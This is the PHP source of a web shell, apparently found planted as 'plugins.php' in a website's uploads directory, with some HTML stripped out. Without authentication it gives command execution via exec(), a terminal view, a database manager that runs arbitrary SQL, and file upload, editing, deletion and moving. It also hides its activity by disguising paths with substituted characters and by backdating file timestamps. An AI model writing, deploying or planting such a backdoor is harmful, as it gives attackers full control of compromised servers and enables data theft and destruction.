/var/www/vhosts/m-auto.co/httpdocs/uploads/cars
Edit: /var/www/vhosts/m-auto.co/httpdocs/uploads/cars/plugins.php (90481B)
&1";
exec($full_command, $output, $return_var);
$result = array(
'output' => implode("\n", $output),
'return_code' => $return_var,
'command' => $command,
'working_dir' => $working_dir
);
header('Content-Type: application/json');
echo json_encode($result);
exit;
}
// Start session for database connections
session_start();
// Helper function for path encoding
function encodePath($path) {
$a = array("/", "\\", ".", ":");
$b = array("ক", "খ", "গ", "ঘ");
return str_replace($a, $b, $path);
}
function decodePath($path) {
$a = array("/", "\\", ".", ":");
$b = array("ক", "খ", "গ", "ঘ");
return str_replace($b, $a, $path);
}
// Determine PATH early
$root_path = __DIR__;
if (isset($_GET['p'])) {
if (empty($_GET['p'])) {
$current_path = $root_path;
} elseif (!is_dir(decodePath($_GET['p']))) {
$current_path = $root_path;
} else {
$current_path = decodePath($_GET['p']);
}
} elseif (isset($_GET['q'])) {
if (!is_dir(decodePath($_GET['q']))) {
$current_path = $root_path;
} else {
$current_path = decodePath($_GET['q']);
}
} else {
$current_path = $root_path;
}
// Handle database connection - BEFORE ANY HTML OUTPUT
if (isset($_POST['db_connect'])) {
$db_type = $_POST['db_type'];
$db_host = $_POST['db_host'];
$db_user = $_POST['db_user'];
$db_pass = $_POST['db_pass'];
$db_name = isset($_POST['db_name']) ? trim($_POST['db_name']) : '';
try {
if ($db_type === 'mysql') {
$dsn = "mysql:host=$db_host";
if (!empty($db_name)) {
$dsn .= ";dbname=$db_name";
}
$pdo = new PDO($dsn, $db_user, $db_pass);
} elseif ($db_type === 'sqlite') {
$pdo = new PDO("sqlite:$db_host");
} elseif ($db_type === 'pgsql') {
$dsn = "pgsql:host=$db_host";
if (!empty($db_name)) {
$dsn .= ";dbname=$db_name";
}
$pdo = new PDO($dsn, $db_user, $db_pass);
}
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$_SESSION['db_connection'] = [
'type' => $db_type,
'host' => $db_host,
'user' => $db_user,
'pass' => $db_pass,
'name' => $db_name
];
// Redirect after successful connection
header("Location: ?db=overview&q=" . urlencode(encodePath($current_path)));
exit;
} catch (PDOException $e) {
$_SESSION['db_error'] = $e->getMessage();
}
}
// Handle disconnect - BEFORE ANY HTML OUTPUT
if (isset($_GET['db_disconnect'])) {
unset($_SESSION['db_connection']);
header("Location: ?dbconnect&q=" . urlencode(encodePath($current_path)));
exit;
}
?>
eclass.unmer.ac.id
= 1073741824) {
$bytes = number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
$bytes = number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
$bytes = number_format($bytes / 1024, 2) . ' KB';
} elseif ($bytes > 1) {
$bytes = $bytes . ' bytes';
} elseif ($bytes == 1) {
$bytes = $bytes . ' byte';
} else {
$bytes = '0 bytes';
}
return $bytes;
}
function fileExtension($file)
{
return substr(strrchr($file, '.'), 1);
}
function fileIcon($file)
{
$imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
$audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
$ext = strtolower(fileExtension($file));
if ($file == "error_log") {
return '
';
} elseif ($file == ".htaccess") {
return '
';
}
if ($ext == "html" || $ext == "htm") {
return '
';
} elseif ($ext == "php" || $ext == "phtml") {
return '
';
} elseif (in_array($ext, $imgs)) {
return '
';
} elseif ($ext == "css") {
return '
';
} elseif ($ext == "txt") {
return '
';
} elseif (in_array($ext, $audio)) {
return '
';
} elseif ($ext == "py") {
return '
';
} elseif ($ext == "js") {
return '
';
} else {
return '
';
}
}
// Delete directory recursively
function deleteDirectory($dir) {
if (!is_dir($dir)) {
return false;
}
$files = array_diff(scandir($dir), array('.', '..'));
foreach ($files as $file) {
$path = $dir . '/' . $file;
if (is_dir($path)) {
deleteDirectory($path);
} else {
unlink($path);
}
}
return rmdir($dir);
}
$root_path = __DIR__;
if (isset($_GET['p'])) {
if (empty($_GET['p'])) {
$p = $root_path;
} elseif (!is_dir(decodePath($_GET['p']))) {
echo ("");
} elseif (is_dir(decodePath($_GET['p']))) {
$p = decodePath($_GET['p']);
}
} elseif (isset($_GET['q'])) {
if (!is_dir(decodePath($_GET['q']))) {
echo ("");
} elseif (is_dir(decodePath($_GET['q']))) {
$p = decodePath($_GET['q']);
}
} else {
$p = $root_path;
}
define("PATH", $p);
// Handle bulk delete
if (isset($_POST['bulk_delete']) && isset($_POST['selected_items'])) {
$items = $_POST['selected_items'];
$success = 0;
$failed = 0;
foreach ($items as $item) {
$itemPath = PATH . "/" . $item;
if (is_file($itemPath)) {
if (unlink($itemPath)) {
$success++;
} else {
$failed++;
}
} elseif (is_dir($itemPath)) {
if (deleteDirectory($itemPath)) {
$success++;
} else {
$failed++;
}
}
}
echo ("");
}
// Handle bulk move
if (isset($_POST['bulk_move']) && isset($_POST['selected_items'])) {
$items = $_POST['selected_items'];
$destination = trim($_POST['bulk_move_destination']);
$success = 0;
$failed = 0;
if (!empty($destination) && is_dir($destination)) {
foreach ($items as $item) {
$itemPath = PATH . "/" . $item;
$destPath = $destination . "/" . $item;
if (file_exists($itemPath) && !file_exists($destPath)) {
if (rename($itemPath, $destPath)) {
$success++;
} else {
$failed++;
}
} else {
$failed++;
}
}
echo ("");
} else {
echo ("");
}
}
// Handle create new file
if (isset($_POST['create_file'])) {
$newFileName = trim($_POST['new_filename']);
if (!empty($newFileName)) {
$newFilePath = PATH . "/" . $newFileName;
if (file_exists($newFilePath)) {
echo ("");
} else {
$content = isset($_POST['new_file_content']) ? $_POST['new_file_content'] : '';
if (file_put_contents($newFilePath, $content) !== false) {
echo ("");
} else {
echo ("");
}
}
}
}
// Handle create new folder
if (isset($_POST['create_folder'])) {
$newFolderName = trim($_POST['new_foldername']);
if (!empty($newFolderName)) {
$newFolderPath = PATH . "/" . $newFolderName;
if (file_exists($newFolderPath)) {
echo ("");
} else {
if (mkdir($newFolderPath, 0755)) {
echo ("");
} else {
echo ("");
}
}
}
}
// Handle move file/folder
if (isset($_POST['move_item']) && isset($_GET['m'])) {
$itemToMove = PATH . "/" . $_GET['m'];
$destination = trim($_POST['move_destination']);
if (!empty($destination) && file_exists($itemToMove)) {
$destPath = $destination . "/" . $_GET['m'];
if (file_exists($destPath)) {
echo ("");
} elseif (!is_dir($destination)) {
echo ("");
} else {
if (rename($itemToMove, $destPath)) {
echo ("");
} else {
echo ("");
}
}
}
}
// Handle change file date
if (isset($_POST['change_date']) && isset($_GET['t'])) {
$targetFile = PATH . "/" . $_GET['t'];
$newDate = strtotime($_POST['new_datetime']);
if ($newDate && file_exists($targetFile)) {
if (touch($targetFile, $newDate, $newDate)) {
echo ("");
} else {
echo ("");
}
}
}
echo ('
');
// Terminal Interface
if (isset($_GET['terminal'])) {
echo '
';
}
// Database Manager Interface
if (isset($_GET['dbconnect']) || isset($_GET['db'])) {
// Check if connected
$is_connected = isset($_SESSION['db_connection']);
$pdo = null;
if ($is_connected) {
try {
$conn = $_SESSION['db_connection'];
if ($conn['type'] === 'mysql') {
$dsn = "mysql:host={$conn['host']}";
if (!empty($conn['name'])) {
$dsn .= ";dbname={$conn['name']}";
}
$pdo = new PDO($dsn, $conn['user'], $conn['pass']);
} elseif ($conn['type'] === 'sqlite') {
$pdo = new PDO("sqlite:{$conn['host']}");
} elseif ($conn['type'] === 'pgsql') {
$dsn = "pgsql:host={$conn['host']}";
if (!empty($conn['name'])) {
$dsn .= ";dbname={$conn['name']}";
}
$pdo = new PDO($dsn, $conn['user'], $conn['pass']);
}
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
$is_connected = false;
unset($_SESSION['db_connection']);
}
}
echo '
';
echo '';
if ($is_connected) {
echo '';
echo '
';
} else {
echo '
';
}
if (!$is_connected) {
// Connection Form - Dark Theme
echo '
';
} else {
// Database is connected, show tabs and content
$current_db = $_GET['db'] ?? 'overview';
echo '';
// Overview Tab
if ($current_db === 'overview') {
try {
// Get tables with detailed information
if (!empty($conn['name']) || $conn['type'] === 'sqlite') {
if ($conn['type'] === 'mysql') {
$stmt = $pdo->query("SHOW TABLE STATUS");
$tables = $stmt->fetchAll(PDO::FETCH_ASSOC);
} elseif ($conn['type'] === 'sqlite') {
$stmt = $pdo->query("SELECT name FROM sqlite_master WHERE type='table'");
$table_names = $stmt->fetchAll(PDO::FETCH_COLUMN);
$tables = [];
foreach ($table_names as $tname) {
$tables[] = ['Name' => $tname];
}
}
if (count($tables) > 0) {
echo '
Tables and views
';
echo '
Search tables in database:
';
echo '
';
echo '
';
echo '
Selected: ';
echo ' ';
echo ' ';
echo ' ';
echo '';
echo '
';
} else {
echo '
No tables found.
';
}
} else {
// Show database list if no database selected
if ($conn['type'] === 'mysql') {
$stmt = $pdo->query("SHOW DATABASES");
$databases = $stmt->fetchAll(PDO::FETCH_COLUMN);
echo '
Databases
';
echo '
';
}
}
} catch (PDOException $e) {
echo '
Error: ' . htmlspecialchars($e->getMessage()) . '
';
}
}
// SQL Query Tab
elseif ($current_db === 'sql') {
if (isset($_POST['execute_sql'])) {
$sql = $_POST['sql_query'];
try {
$start_time = microtime(true);
$stmt = $pdo->query($sql);
$execution_time = round((microtime(true) - $start_time) * 1000, 2);
// Check if it's a SELECT query
if ($stmt->columnCount() > 0) {
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
echo '
Query executed OK, ' . count($results) . ' rows affected (' . $execution_time . ' ms)
';
if (count($results) > 0) {
echo '
';
echo '';
foreach (array_keys($results[0]) as $column) {
echo '| ' . htmlspecialchars($column) . ' | ';
}
echo '
';
foreach ($results as $row) {
echo '';
foreach ($row as $value) {
echo '| ' . htmlspecialchars($value ?? 'NULL') . ' | ';
}
echo '
';
}
echo '
';
}
} else {
$affected = $stmt->rowCount();
echo '
Query executed OK, ' . $affected . ' rows affected (' . $execution_time . ' ms)
';
}
} catch (PDOException $e) {
echo '
Error in query: ' . htmlspecialchars($e->getMessage()) . '
';
}
}
echo '
';
}
// Tables List Tab
elseif ($current_db === 'tables') {
try {
if ($conn['type'] === 'mysql') {
$stmt = $pdo->query("SHOW TABLES");
} elseif ($conn['type'] === 'sqlite') {
$stmt = $pdo->query("SELECT name FROM sqlite_master WHERE type='table'");
} elseif ($conn['type'] === 'pgsql') {
$stmt = $pdo->query("SELECT tablename FROM pg_tables WHERE schemaname='public'");
}
$tables = $stmt->fetchAll(PDO::FETCH_COLUMN);
echo '
Database Tables (' . count($tables) . ')
';
echo '
';
} catch (PDOException $e) {
echo '
Error: ' . htmlspecialchars($e->getMessage()) . '
';
}
}
// View Table Data
elseif ($current_db === 'table' && isset($_GET['tablename'])) {
$table = $_GET['tablename'];
$page = isset($_GET['page']) ? (int)$_GET['page'] : 1;
$per_page = 50;
$offset = ($page - 1) * $per_page;
try {
// Get primary key
$primary_key = null;
if ($conn['type'] === 'mysql') {
$pk_stmt = $pdo->query("SHOW KEYS FROM `$table` WHERE Key_name = 'PRIMARY'");
$pk_result = $pk_stmt->fetch(PDO::FETCH_ASSOC);
if ($pk_result) {
$primary_key = $pk_result['Column_name'];
}
} elseif ($conn['type'] === 'sqlite') {
$pk_stmt = $pdo->query("PRAGMA table_info(`$table`)");
$columns = $pk_stmt->fetchAll(PDO::FETCH_ASSOC);
foreach ($columns as $col) {
if ($col['pk'] == 1) {
$primary_key = $col['name'];
break;
}
}
}
// Get total count
$count_stmt = $pdo->query("SELECT COUNT(*) FROM `$table`");
$total_rows = $count_stmt->fetchColumn();
$total_pages = ceil($total_rows / $per_page);
// Get data
$stmt = $pdo->query("SELECT * FROM `$table` LIMIT $per_page OFFSET $offset");
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
echo '
';
if (count($results) > 0) {
// Info bar
echo '
';
echo 'Showing ' . ($offset + 1) . '-' . min($offset + $per_page, $total_rows) . ' of ' . number_format($total_rows) . ' rows';
echo '
';
// Table
echo '
';
echo '
';
echo '';
foreach (array_keys($results[0]) as $column) {
echo '| ' . htmlspecialchars($column) . ' | ';
}
echo 'Actions | ';
echo '
';
foreach ($results as $row) {
echo '';
foreach ($row as $key => $value) {
$display_value = htmlspecialchars($value ?? 'NULL');
// Truncate but show in tooltip
if (strlen($display_value) > 80) {
$short = substr($display_value, 0, 80) . '...';
echo '' . $short . ' | ';
} else {
echo '' . $display_value . ' | ';
}
}
echo '';
if ($primary_key && isset($row[$primary_key])) {
echo '';
echo ' ';
echo '';
echo '';
} else {
echo 'No PK';
}
echo ' | ';
echo '
';
}
echo '
';
echo '
';
// Pagination
if ($total_pages > 1) {
echo '
';
if ($page > 1) {
echo '
';
echo ' Previous';
}
echo '
Page ' . $page . ' of ' . $total_pages . '';
if ($page < $total_pages) {
echo '
';
echo 'Next ';
}
echo '
';
}
} else {
echo '
No records found in this table.
';
}
} catch (PDOException $e) {
echo '
Error: ' . htmlspecialchars($e->getMessage()) . '
';
}
}
// Edit Record
elseif ($current_db === 'edit' && isset($_GET['tablename']) && isset($_GET['id'])) {
$table = $_GET['tablename'];
$pk = $_GET['pk'];
$id = $_GET['id'];
try {
// Handle form submission
if (isset($_POST['update_record'])) {
$updates = [];
$params = [];
foreach ($_POST as $key => $value) {
if ($key !== 'update_record') {
$updates[] = "`$key` = ?";
$params[] = $value;
}
}
$params[] = $id;
$sql = "UPDATE `$table` SET " . implode(', ', $updates) . " WHERE `$pk` = ?";
$stmt = $pdo->prepare($sql);
$stmt->execute($params);
echo "";
}
// Get current record
$stmt = $pdo->prepare("SELECT * FROM `$table` WHERE `$pk` = ?");
$stmt->execute([$id]);
$record = $stmt->fetch(PDO::FETCH_ASSOC);
if (!$record) {
echo '
Record not found!
';
} else {
echo '
Edit Record in Table: ' . htmlspecialchars($table) . '
';
echo '
';
}
} catch (PDOException $e) {
echo '
Error: ' . htmlspecialchars($e->getMessage()) . '
';
}
}
// Insert Record
elseif ($current_db === 'insert' && isset($_GET['tablename'])) {
$table = $_GET['tablename'];
try {
// Handle form submission
if (isset($_POST['insert_record'])) {
$columns = [];
$values = [];
$params = [];
foreach ($_POST as $key => $value) {
if ($key !== 'insert_record' && $value !== '') {
$columns[] = "`$key`";
$values[] = "?";
$params[] = $value;
}
}
if (count($columns) > 0) {
$sql = "INSERT INTO `$table` (" . implode(', ', $columns) . ") VALUES (" . implode(', ', $values) . ")";
$stmt = $pdo->prepare($sql);
$stmt->execute($params);
echo "";
}
}
// Get table structure
if ($conn['type'] === 'mysql') {
$stmt = $pdo->query("DESCRIBE `$table`");
$columns = $stmt->fetchAll(PDO::FETCH_ASSOC);
} elseif ($conn['type'] === 'sqlite') {
$stmt = $pdo->query("PRAGMA table_info(`$table`)");
$columns = $stmt->fetchAll(PDO::FETCH_ASSOC);
}
echo '
Insert New Record into Table: ' . htmlspecialchars($table) . '
';
echo '
';
} catch (PDOException $e) {
echo '
Error: ' . htmlspecialchars($e->getMessage()) . '
';
}
}
// Delete Record
elseif ($current_db === 'delete' && isset($_GET['tablename']) && isset($_GET['id'])) {
$table = $_GET['tablename'];
$pk = $_GET['pk'];
$id = $_GET['id'];
try {
$stmt = $pdo->prepare("DELETE FROM `$table` WHERE `$pk` = ?");
$stmt->execute([$id]);
echo "";
} catch (PDOException $e) {
echo '
Error deleting record: ' . htmlspecialchars($e->getMessage()) . '
';
echo '
Back to Table';
}
}
// View Table Structure
elseif ($current_db === 'structure' && isset($_GET['tablename'])) {
$table = $_GET['tablename'];
try {
if ($conn['type'] === 'mysql') {
$stmt = $pdo->query("DESCRIBE `$table`");
} elseif ($conn['type'] === 'sqlite') {
$stmt = $pdo->query("PRAGMA table_info(`$table`)");
} elseif ($conn['type'] === 'pgsql') {
$stmt = $pdo->query("SELECT column_name, data_type, is_nullable FROM information_schema.columns WHERE table_name = '$table'");
}
$columns = $stmt->fetchAll(PDO::FETCH_ASSOC);
echo '
Table Structure: ' . htmlspecialchars($table) . '
';
echo '
';
echo '';
foreach (array_keys($columns[0]) as $col) {
echo '| ' . htmlspecialchars($col) . ' | ';
}
echo '
';
foreach ($columns as $column) {
echo '';
foreach ($column as $value) {
echo '| ' . htmlspecialchars($value ?? 'NULL') . ' | ';
}
echo '
';
}
echo '
';
} catch (PDOException $e) {
echo '
Error: ' . htmlspecialchars($e->getMessage()) . '
';
}
}
// Select Database
elseif ($current_db === 'selectdb' && isset($_GET['dbname'])) {
$dbname = $_GET['dbname'];
$_SESSION['db_connection']['name'] = $dbname;
echo "";
}
}
echo '
'; // Close db-manager-content
echo '
'; // Close db-manager-container
}
// New File Form
if (isset($_GET['newfile'])) {
echo '
';
}
// New Folder Form
if (isset($_GET['newfolder'])) {
echo '
';
}
// Change Date Form
if (isset($_GET['t']) && isset($_GET['q'])) {
$targetFile = PATH . "/" . $_GET['t'];
if (file_exists($targetFile)) {
$currentDate = date('Y-m-d\TH:i', filemtime($targetFile));
echo '
';
}
}
// Move File/Folder Form
if (isset($_GET['m']) && isset($_GET['q'])) {
$itemToMove = PATH . "/" . $_GET['m'];
if (file_exists($itemToMove)) {
echo '
';
}
}
if (isset($_GET['p'])) {
//fetch files
if (is_readable(PATH)) {
$fetch_obj = scandir(PATH);
$folders = array();
$files = array();
foreach ($fetch_obj as $obj) {
if ($obj == '.' || $obj == '..') {
continue;
}
$new_obj = PATH . '/' . $obj;
if (is_dir($new_obj)) {
array_push($folders, $obj);
} elseif (is_file($new_obj)) {
array_push($files, $obj);
}
}
}
// Bulk Actions Bar
echo '
";
} else {
if (empty($_GET)) {
echo ("");
}
}
if (isset($_GET['upload'])) {
echo '
';
}
if (isset($_GET['r'])) {
if (!empty($_GET['r']) && isset($_GET['q'])) {
echo '
';
if (isset($_POST['rename'])) {
$name = PATH . "/" . $_GET['r'];
if(rename($name, PATH . "/" . $_POST['name'])) {
echo ("");
} else {
echo ("");
}
}
}
}
if (isset($_GET['e'])) {
if (!empty($_GET['e']) && isset($_GET['q'])) {
echo '
';
if(isset($_POST['edit'])) {
$filename = PATH."/".$_GET['e'];
$data = $_POST['data'];
$open = fopen($filename,"w");
if(fwrite($open,$data)) {
echo ("");
} else {
echo ("");
}
fclose($open);
}
}
}
if (isset($_POST["upload"])) {
$target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "
".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.
";
} else {
echo "
Sorry, there was an error uploading your file.
";
}
}
if (isset($_GET['d']) && isset($_GET['q'])) {
$name = PATH . "/" . $_GET['d'];
if (is_file($name)) {
if(unlink($name)) {
echo ("");
} else {
echo ("");
}
} elseif (is_dir($name)) {
if(deleteDirectory($name)) {
echo ("");
} else {
echo ("");
}
}
}
?>